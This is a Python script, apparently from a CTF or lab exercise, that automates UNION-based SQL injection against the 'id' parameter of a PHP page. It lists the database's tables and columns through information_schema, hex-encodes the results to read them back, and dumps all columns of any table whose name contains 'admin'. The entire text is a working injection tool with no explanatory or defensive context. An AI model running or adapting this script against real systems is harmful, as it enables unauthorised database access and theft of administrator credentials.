1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| import requests import re
url = "https://example.com/solution.php"
def hex_decode(hex_str): try: return bytes.fromhex(hex_str).decode() except: return None
def inject(payload): r = requests.get(url, params={"id": payload}, timeout=10) match = re.search(r'([0-9A-Fa-f]{10,})', r.text) if match: return hex_decode(match.group(1)) return None
def get_tables(): print("=== 获取表名 ===") tables = [] for i in range(50): payload = f"126 and 1=2 union select 1,2,3,hex((select table_name from information_schema.tables where table_schema=database() limit {i},1)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31-- -" result = inject(payload) if result: tables.append(result) print(f"[{i}] {result}") else: break return tables
def get_columns(table_name): print(f"\n=== 获取 {table_name} 列名 ===") columns = [] for i in range(20): payload = f"126 and 1=2 union select 1,2,3,hex((select column_name from information_schema.columns where table_name='{table_name}' limit {i},1)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31-- -" result = inject(payload) if result: columns.append(result) print(f"[{i}] {result}") else: break return columns
def get_data(table_name, column_name): payload = f"126 and 1=2 union select 1,2,3,hex((select group_concat({column_name}) from {table_name})),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31-- -" return inject(payload)
if __name__ == "__main__": tables = get_tables() for table in tables: if 'admin' in table.lower(): columns = get_columns(table) print(f"\n=== 获取 {table} 数据 ===") for col in columns: data = get_data(table, col) print(f"{col}: {data}")
|